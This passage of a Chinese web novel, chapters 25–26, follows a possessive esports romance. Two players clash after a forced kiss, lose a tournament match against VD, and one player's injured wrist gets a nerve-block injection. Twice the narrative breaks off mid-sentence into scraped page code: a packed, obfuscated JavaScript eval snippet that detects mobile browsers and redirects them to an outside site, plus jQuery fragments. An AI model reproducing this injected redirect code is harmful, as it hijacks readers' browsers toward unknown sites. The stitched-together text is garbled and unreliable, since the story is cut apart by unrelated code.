“我当然知道。”
余烬拉过自己脑后的手,这只冰凉的手他连续按摩了好几个夜晚,上面有几根青筋都记得分明,但此刻被他缓缓放在自己的脸颊上:“我唯一后悔的是我做得太晚了,我早就该……”
“你分得清吗?”脑海内的恨意值起起伏伏,江屿白冷冷地打断他,“你对我的,到底是所谓的爱,还是不甘心的恨?”
余烬的声音戛然而止。
他死死地盯着江屿白,目光贪婪地掠过对方脸庞,最后定格在那双被他蹂躏过,此刻显得异常殷红的唇瓣上——那上面还残留着他留下的血迹,像雪地里绽开的红梅,刺眼又妖冶。
沉默在空气中蔓延,只剩下两人粗重的呼吸声,在这个沙发上纠缠交错。
良久,余烬才缓缓开口,他看着江屿白的眼睛,声音嘶哑得如同砂纸摩擦,带着一种令人毛骨悚然的平静:
“恨你和爱你,有区别吗?”
25.第二十五章
余烬话音落下,江屿白静默地看了他半晌,蓦地笑了:
“爱我还是恨我,都随便你。但有一点你最好认清——我们之间不存在任何你期望的那种可能。”
他往前倾了半分,压迫感无声地弥漫开来:“我劝你,最好死了这条心。”
“死了这条心?”余烬攥着他手腕的力道登时收紧,指尖几乎要嵌入皮肉之下,他眼底翻涌着偏执的赤红,几乎从齿缝里挤出声音:“怎么死!?让我死心才是不可能!”
强烈的绝望和占有欲如同失控的野火,瞬间吞没了他最后一丝理智。他猛地逼近,不再是哀求,而是如同濒死的困兽发动最后一次扑杀,朝着那双殷红的唇,不管不顾地狠狠撞了上去——
然而这一次江屿白没有动手制止他,甚至没有后退半分,他只是骤然掀起了眼睫,用不带任何情绪的寒冷目光钉住了余烬:
“你知道明天,我们还要和VD打胜者组的比赛吗?”
这句话冷水般兜头浇灭了余烬疯狂的势头,他猛然顿住,距江屿白的唇仅剩毫厘,近得几乎能数清对方颤抖的睫毛。但江屿白眼神里的寒意让他心脏骤然缩紧,生出强烈的警觉——他清晰地意识到,如果此刻真的不管不顾地继续下去,换来的绝不会是对方的任何动容,只会是无可挽回的厌弃。
可就此停下,那几乎要将他焚烧殆尽的不甘和渴望又该如何平息?
两人在极近的距离对视着,空气凝固,只剩下粗重而压抑的呼吸声。几秒后,余烬眼中闪过挣扎、痛苦,最终化为一种孤注一掷的狠厉。他猛地埋下头,鼻尖蹭过江屿白的颈侧,快速扯开那略显宽松的队服领口,对着那截线条平直的锁骨,狠狠地咬了下去!
“嘶——”江屿白猝不及防,痛得抽了口气,下意识就想像刚才那样扯开他的头发。
但余烬已经抢先一步松口起身。他的指尖擦过江屿白破皮的唇角,抹掉那最后一丝暧昧的血迹。他盯着江屿白骤然冷沉的脸,坚定地留下一句:“我不会死心的。”
说完,他像是怕自己再停留一秒就会彻底崩溃或者做出更无法挽回的事,转过身几乎是落荒而逃地冲出了房间。
门被带上,发出沉闷的响声,又很快重归寂静。
房间内就剩他一人,江屿白胸口起伏不定,在原地躺了片刻,才缓缓起身走进了浴室。
明亮的灯光下,他的嘴唇果然一片狼藉,红肿破皮,血丝与不明水痕交织,甚至有几点鲜红的血珠溅落在他苍白的脸颊上,像白纸上不慎滴落了几滴胭脂,妖异又刺眼。他侧过身,拉开衣领,左侧锁骨上留下了一个深深的牙印,余烬在最后关头收了力,没有咬破皮,但清晰的齿痕刻在皮肤上,泛着红,看来这几天是消不掉了。
真是疯了。
他盯着镜中狼狈的自己,余烬竟然真的……爱上了他,这个认知比任何伤口都让他感到棘手。如果余烬只是恨他,事情反而简单——他扮演一个彻头彻尾的恶人,打压他,否定他,然后顺理成章地迎接属于反派的身败名裂的结局,被恨意滋养的主角亲手终结,他问心无愧,甚至可以说圆满完成了任务。
他原本认为,只要自己注定遭到报应,那么之前的所有刻薄与伤害,就都有了某种意义上的公平,他狠得下心,也下得去手。
可现在恨扭曲成了爱,报复变成了不顾一切的靠近和占有,他预备迎接的报应没了,还能心安理得地继续扮演一个冰冷的刽子手吗?
江屿白拿出毛巾,用冷水浸湿,擦拭掉脸上的血迹和唇上的狼狈。
值得庆幸的是,至少现在,余烬的爱意还包裹在愤怒和偏执的外壳之下,没有变成让他更难应对的东西,他还能维持住这副冷酷的面具,把这个恶人的角色继续演下去。但任务的进度条……江屿白看着镜中自己唇上刺目的红,心里清楚,想要靠“被恨意反噬”这种方式来达到100%的完成度,恐怕是彻底不可能了。
那么,接下来该怎么办?
【系统重新连接中……连接成功。】系统终于解除了屏蔽,立刻出来对江屿白汇报,【宿主,根据刚才目标人物极端行为的评估测算,其死心概率已无限趋近于0%。】
江屿白垂眸,看着洗漱池里被淡淡血色染红的水流,沉默不语,这个结果他早已预料。
【再次建议宿主启动死遁程序。如确认目标人物情感已无可挽回,可选择以角色死亡形式脱离本世界。】系统再一次提出死遁。
【怎么个死法?】江屿白的声音有些哑。
【宿主只需提交申请,系统将自动生成合理死亡剧情。死亡方式通常会与宿主当前身体疾病或旧伤相关联,以确保逻辑自洽。】
身体疾病……那就是手腕了。江屿白下意识地看向自己的右手手腕,刚才没注意,此刻才发现,那里竟然也多了一圈浅淡的红痕,他扯了扯嘴角,余烬现在简直像条见了骨头的狗,恨不得在他身上每个地方都留下标记才罢休。
【宿主,确认提交脱离申请吗?】见他久久不语,系统催促道。
江屿白回过神,目光从手腕上移开:【不着急。】
至少,得先把眼前的比赛打完。
以及……他顿了顿,补充道:【系统,帮我查一下,原剧情里Nine退役之后,IFX的新打野是谁。】
他走出浴室,准备找衣服洗澡睡觉,视线扫过房间,昏黄的灯光下,沙发角落似乎有一缕细微的银光一闪而过。他脚步一顿,走上前,俯身捡起——是两条细细的银色项链,链身紧密地缠绕交织在一起,在灯下泛着冷冽的光泽。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16381233|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他手指微动,链下铭牌晃晃荡荡,转过圈,一个“Pale”映入眼帘。
——————
第二天晚上,IFX全队再次来到比赛现场。
赛前准备阶段,队员们在后台休息室做最后调整,下路组的Leaf眼尖,注意到江屿白嘴角那处明显的破口和细微红肿,关心地来问:“白神,你嘴怎么了?”
被狗咬的。江屿白正低头在看战术板,心里腹诽,面上头也没抬,面不改色回他:“没事,不小心磕到的。”
一旁的余烬听见这话,立刻看过来。既然心思已经被彻底戳破,他也不再像之前那样费力掩饰,眼神直白而滚烫地落在江屿白身上。
江屿白直接无视了这道几乎要把他烧穿的视线,戴上耳机,将注意力集中到即将开始的比赛上。
今天他们的对手是同为胜者组的VD战队,也是前几天在Rank里交手过的老熟人,队员们私下讨论过战术,心里还算有底。背景音乐响起,主持人高声介绍着队员入场,IFX在全场的欢呼声中走入赛场,调试外设。
余烬跟在江屿白身后,看着他直挺的背影,将那些混乱汹涌的情绪强行压下。他坐下来,如过去三年每一场比赛前一样,下意识地将手伸向队服外套的内侧口袋,想去摩挲那两条冰凉熟悉的项链。
然而指尖探入,摸到的却只有布料柔软的内衬。
空的。
他的脸色霎时白了几分,又急忙摸了摸另一个口袋,甚至快速翻了一下外设包的小隔层——依旧没有!心脏陡然一沉,突突地狂跳起来,队链呢?那两条他从不离身的队链去哪了?是掉在回基地的路上了?还是……落在江屿白房间里了?
这三年来,只要是正式比赛,他一定会将这两条项链带在身边,以前他还可以自欺欺人,说是为了铭记BZN时期江屿白给予他的屈辱和鞭策,用那份恨意逼迫自己前行。但现在他再清楚不过——只是因为那其中一条刻着“Pale”,能让他恍惚觉得,自己始终以某种方式和他联系在一起,仿佛他们从未分开过。
可是现在,链子不见了。
余烬用力闭了闭眼,强迫自己深呼吸。他转头看向左边,现在,真实的、活生生的江屿白就真切地坐在他触手可及的地方,正在专注地调试着设备。
这远比任何死物都管用,余烬定下神来。
另一边,江屿白检查完了鼠标DPI和键盘键位,又习惯性地转了两圈右手手腕,旧伤没有明显的痛感,昨晚留下的红痕也已消退,应该不影响今天的操作。
此时,解说的声音透过隔音耳机变得模糊而遥远,屏幕上光芒一闪,巨大的环形屏幕和每个人的显示器上,同时跳转出BP界面。
与VD的胜者组关键战,正式开始了。
26.第二十六章
场馆内声浪如潮,环形屏幕上流光溢彩的角色图标与禁用标志交替闪烁,第一局BP由蓝色方VD先手。
“VD这边的前三手禁用依然非常针对啊!”阿楠看着屏幕,“毫不客气地摁掉了Pale选手昨天发挥出色的星界,以及Ember的影枭!这是要把IFX中野的招牌继续按死在ban位上!”
笑笑接话:“没错!而IFX的应对则是选择ban掉了VD辅助的两个开团硬辅,以及上单的招牌抗压角色!看来是要从支援和开团能力上限制VD的前期节奏。”
第一轮Ban人结束,VD第一手抢人,快速地锁定了当前版本极为强势的ADC【翎】。
“VD一抢翎!这是要给他们的ADC拿到绝对的核心地位!”阿楠惊呼。
轮到IFX选择,一二楼迅速锁定了上单Stone常用的战士【屠夫】以及辅助Ming擅长的保护型硬辅【圣盾】。
BP环节在双方教练的博弈中快速推进,VD的后续选择明显经过了精心设计,他们放弃了传统的法师型中单,反而出人意料地选出了一个前期前期游走能力极强的支援型中单——【泰坦】!
“泰坦?!”笑笑惊讶道,“VD这是要改变战术思路了!VD之前在与IFX的Rank里因激进入侵的打法吃过亏,这一局VD似乎更注重中路的线权和游走支援能力,要围绕泰坦打前期节奏!”
紧接着,VD的打野Nightmare锁定了节奏型肉坦打野,进一步强化了前排和控制能力。
压力给到IFX。江屿白看着对方的阵容,眉头微皱,VD的变阵有些出乎他的预料,对方似乎吸取了之前Rank里的教训,不再执着于野区针对,反而转向了更整体的战术布局。
“余烬,”他侧头提醒,“泰坦前期推线游走很强,线上给他压力,别让他轻易动起来。Nightmare这局可能不会那么早进野区,但我们不能放松警惕。Leaf,Ming,下路小心,他们很可能三级就会四包二。”
游戏加载完成,十名角色降临峡谷。
江屿白的刺客型打野【忍刀】从下半区红开,过程异常顺利,Nightmare的猎手果然没有像之前Rank那样进行激进入侵。
“哦?VD这一局打得很谨慎啊,Nightmare选择了常规开局,并没有去反Pale的红buff。”阿楠评论道。
“看来是吸收了之前的教训,不想在前期冒不必要的风险。”笑笑补充。
开局前几分钟,风平浪静,线上补刀平稳,打野各自清空首轮野怪,江屿白升到三级后,尝试了一波Gank上路,但VD的上单嗅觉敏锐,提前后撤,无功而返。
“局势目前看起来比较平稳,双方经济基本持平。”阿楠看着数据面板说道。
比赛时间进行到5分30秒。
江屿白刚刚回城更新完装备,正在前往下半区,准备控第一条水龙,他心里规划路线和时机,就在这时,右手手腕处传来一阵熟悉的钝痛。
他几不可察地蹙了下眉,操控鼠标的手指微微一顿,很快又恢复如常,并没有影响到他的刷野节奏,但这个变化没有逃过一直用余光关注着他的余烬的眼睛。
余烬的心猛地提起来,才想起昨晚落荒而逃之后,竟连帮他按摩上药这件事都忘了。
就在这时,VD的战术启动了。
中路的泰坦利用等级优势快速清完兵线,身形迅速消失在迷雾中,同时,VD的打野和辅助已悄无声息地包抄至IFX下路一塔后的三角草丛。
“VD要动手了!中野辅三包二,目标是下路!”解说笑笑第一时间发现。
IFX的下路组察觉到了危险,开始后撤。但VD的辅助闪现快速出手,大范围W技能精准地抬起了Leaf!
尽管Leaf第一时间解除控制并交出治疗,但泰坦配合Nightmare一套技能,爆发伤害实在太高!
【VD_Nightmare击杀了IFX_Leaf!】
【First Blood!】
紧接着辅助Ming也没能逃脱,被VD三人集火,越塔强杀!
眼看VD状态不佳的三人想要后撤,从河道赶来的江屿白终于抵达战场。他强忍手腕不适,操控忍刀释放技能,沉默并减速了试图逃离的VD辅助,最终一套技能将其带走。
“换掉一个!Pale及时赶到,止损了!”解说阿楠喊道,“但IFX下路还是亏啊,一血加双人组阵亡,塔皮也要被磨掉不少。”
IFX下路组反应已经很快,治疗、闪现齐交,但VD的控制链衔接得天衣无缝,Nightmare的爆发在前期又堪称恐怖,现在下路组不仅失去了两个人头,一大波兵线也被VD推进塔下吃掉,经济差距瞬间被拉开。
“我的问题,”Ming懊恼说道,“没料到他们中野辅联动这么果断,我的视野布控慢了。”
“现在别急着分锅。”江屿白刚才的注意力也因为手腕刺痛和观察三路局势而有些分散,低估了VD第一波攻势。然而手腕的疼痛再次袭来,比之前更加清晰,让他呼吸轻微一滞。
余烬听出了他声音里的紧绷,握着鼠标的手下意识地收紧,他了解江屿白,以他的忍耐程度,此刻他手腕的痛一定比表现出来的更加剧烈——这个念头一下子占据了他全部思绪,焦虑和担忧像滚雪球般越滚越大。
心神不宁之下,他的操作开始出现不应有的迟疑,一次本该躲开的泰坦的W技能刮到了他,血量被消耗了一截,本来可以尝试配合打野反打的机会,因为他慢了半秒的反应而白白流失。
“Ember的状态好像有点不对?”解说阿楠敏锐地发现了问题,“刚才那个走位不应该啊。”
江屿白也注意到了余烬的异常。他一边强忍着手腕的刺痛,努力维持着大局观指挥,试图寻找翻盘机会,一边在语音里简洁提醒:“余烬,专注,看好泰坦位置。”
语气跟往常一样冷,却让余烬立刻回过神,将注意力拉回比赛。可失去的节奏和建立起来的劣势并非那么容易挽回,VD凭借下路建立的优势,开始疯狂掠夺地图资源,视野被极度压缩,IFX众人如同被困在笼中的鸟,活动空间越来越小。
江屿白的手腕越来越痛,点击鼠标已经像在以骨磨刀,他强忍着,试图用意识和经验弥补操作上的细微变形,指挥着队伍顽强抵抗,抓住VD偶尔的冒进打回了一些人头。
比赛在VD的优势下被拖入中期,双方经济差维持在三千左右,IFX仍有一战之力,第28分钟,关键的第三条听牌火龙刷新。
“这条龙必须争,不能再放了。”江屿白的声音染上疲惫,手腕的疼痛已经严重影响了他的操作精度。
IFX五人抱团向龙坑逼近,做视野,小心翼翼地拉扯,然而,就在火龙血量下降到一半时,VD的辅助再次闪现RW超远距离开团,瞬间魅惑并抬起了IFX的上辅两人!
团战立刻爆发,VD的伤害如同海啸般倾泻而来!江屿白瞳孔一缩,手指按下R键,【忍刀】的大招按住VD冲在最前面的ADC!
但就在他按下R键的同一时间,手腕处传来一阵尖锐的刺痛,让他操控鼠标的手蓦地一抖,就是这个细微到几乎无法察觉的抖动,导致他的大招释放角度出现了一丝偏差——没能将ADC定在最适合集火的位置!
Nightmare抓住时机,鬼魅般突入战场,输出环境完美!而余烬的因为分心关注着江屿白的状态,技能释放慢了一拍,没能第一时间秒掉被控住的对方AD!
战场局势乍然崩溃,ADC残血逃生,后续跟进的上野二人组瞬间融化了IFX的前排。
【VD_Nightmare击杀了IFX_Stone!】
【VD_Nightmare击杀了IFX_Ming!】
一连串的击杀提示音如同丧钟般敲响,失去前排保护的IFX阵型溃散,江屿白指挥残存队员后撤重整,但VD凭借装备优势和经济领先,一路势如破竹,高地塔、兵营相继告破,最终,IFX的基地水晶在VD的集火下化为碎片。
【Defeat!】
失败的音效响起,BO3的第一局,IFX败给了VD。
江屿白摘下耳机,场馆内震耳欲聋的欢呼声属于胜利者VD,他活动了一下刺痛的右手手腕,缓缓站起身。
身旁,余烬坐在椅子上,出神地看着屏幕上刺眼的“失败”二字,下路组的Leaf和Ming神色懊恼又沮丧,上单Stone也抿紧了唇。
“先回休息室。”江屿白的目光扫过队员们,声音听不出喜怒。
休息室里的气氛压抑得几乎能拧出水来,空调嗡嗡地低鸣,Leaf和Ming低着头,盯着自己的鞋尖,Stone靠墙站着,双臂抱胸,教练则来回踱步,眉头紧锁,反复看着刚才比赛的BP。
江屿白坐在中间的椅子上,额角的冷汗还未完全干透,随队队医蹲在他身边,小心翼翼地卷起他右手的袖子,那明显红肿的手腕暴露在灯光下,四周顿时响起一片抽气声。
“嘶……白神,你这手腕……”Leaf忍不住出声,脸上满是担忧。
队医检查了一遍,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16394643|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然后拿出冰袋进行紧急冰敷,又取出镇痛消炎的药膏,仔细地涂抹在红肿的腕部,再用弹性绷带进行加压固定。整个过程,江屿白始终咬着牙,一声未吭。
“VD今天换的战术很突然,针对性很强。”直到绷带固定妥当,他才抬起眼,第一时间仍是分析比赛,“他们放弃了野区针对,专攻我们下路,打了我们一个措手不及。”
他顿了顿,冰袋的寒气让他手腕的灼痛稍缓,但所有人的心都随着他的停顿而提了起来。
“再加上我自己的手伤,旧疾复发,操作确实受到了影响。”他陈述完,目光转向一旁沉默不语的余烬,“而且,余烬今天也不在状态。”
被点名的余烬身体一僵,嘴唇动了动,却一个字也说不出来。
江屿白再次开口,语气放缓了一些:
“没关系,今天就算输给VD一场,我们也不至于被淘汰。按照赛制,明天我们只需要再赢一场对KG的BO3,保住胜者组资格,然后再赢一场对VD的BO5,五局四胜就能夺冠。”
“可是你的手!”余烬抬起头,第一个出声反对,“如果两场都打满,那就是可能连续打满8局,这种强度,你现在的手腕根本不可能承受得住。”
他的话问出了所有队员的心声,大家都看向江屿白贴上膏药的手腕。
江屿白平静地扫过众人,毫不犹豫说道:“今天打完,可以先打一针封闭。”
“封闭?!”教练失声,“这……Pale,这只是个季前狂欢赛,没必要这么拼!万一对手腕造成不可逆的损伤……”
“是啊白神,身体要紧!”
“我们可以调整策略,下一场让替补上试试?”
队员们纷纷劝阻,封闭针的副作用他们都知道,那是以透支未来为代价换取短暂的止痛,对于职业选手来说无异于饮鸩止渴。
“不。”江屿白斩钉截铁,他环视着身边的队友,总是冷静无波的眼睛里燃烧着近乎偏执的火焰,“哪怕是季前狂欢赛,也是比赛。只要是比赛,目标就只有一个——”
他一字一句,清晰无比地说道:
“赢。”
“只要是冠军,无论大小,我都要拿到。”
这就是Pale,他永远有着属于自己的骄傲和荣耀。众人知道再劝无用,只得将担忧压回心底,沉重地点了点头。
短暂的休息时间结束,第二局比赛即将开始。
IFX再次登场,眼尖的观众和镜头立刻捕捉到了江屿白右手手腕上显眼的膏药贴。
【???Pale手怎么了?】
【卧槽!受伤了?!什么时候的事?】
【他手腕一直有旧伤,复发了?】
【怪不得上一局感觉操作有点变形……原来是带伤作战?】
【IFX队医干什么吃的?这种状态还让上?】
【完了完了,手伤了还怎么打啊?】
现场响起一阵窃窃私语,就连对面VD选手席上的Nightmare也注意到了,关切地望过来两次,但视线很快被一旁的余烬刻意隔绝开。
无论外界如何议论,第二局比赛还是如期开始。
江屿白尽力减少需要精细操作的环节,将更多精力投入在指挥和大局观上,试图让余烬和下路的ADC承担更多的输出责任。
可是战术风格已然成型且士气正盛的VD没有给他们太多机会,他们继续执行着针对下路和压迫视野的战术,步步紧逼。IFX顽强抵抗,但核心输出之一受状态影响,另一个核心又带伤作战,终究难以弥补状态上的差距。
经过一番鏖战,IFX的基地水晶再次告破。
IFX以0:2的成绩输掉了今天与VD的胜者组关键战,跌入败者组。
回到酒店,气氛更加凝重。
队医提着药箱走进江屿白的房间,在其他队员担忧的目光下为他进行了局部消毒,然后注射了一针封闭针剂。
冰凉的药液推入体内,过程并不好受,江屿白的额角再次渗出细密的冷汗,但他依旧紧咬着牙,没有发出任何声音。
封闭针的效果很快显现,剧烈的疼痛感潮水般迅速退去,手腕处只剩下麻木,他试着活动了一下手指,虽然灵活度肯定受影响,但至少折磨人的刺痛消失了。
众人见他脸色稍缓,暂时松了口气,又嘱咐了几句,便一个个心情沉重地退出了房间。
余烬走在最后一个,等到其他人都离开,他走到门口,却没有走出去,而是反手,极其轻微地“咔哒”一声,轻轻反锁了房门。
他将自己和江屿白,关在了同一个空间里。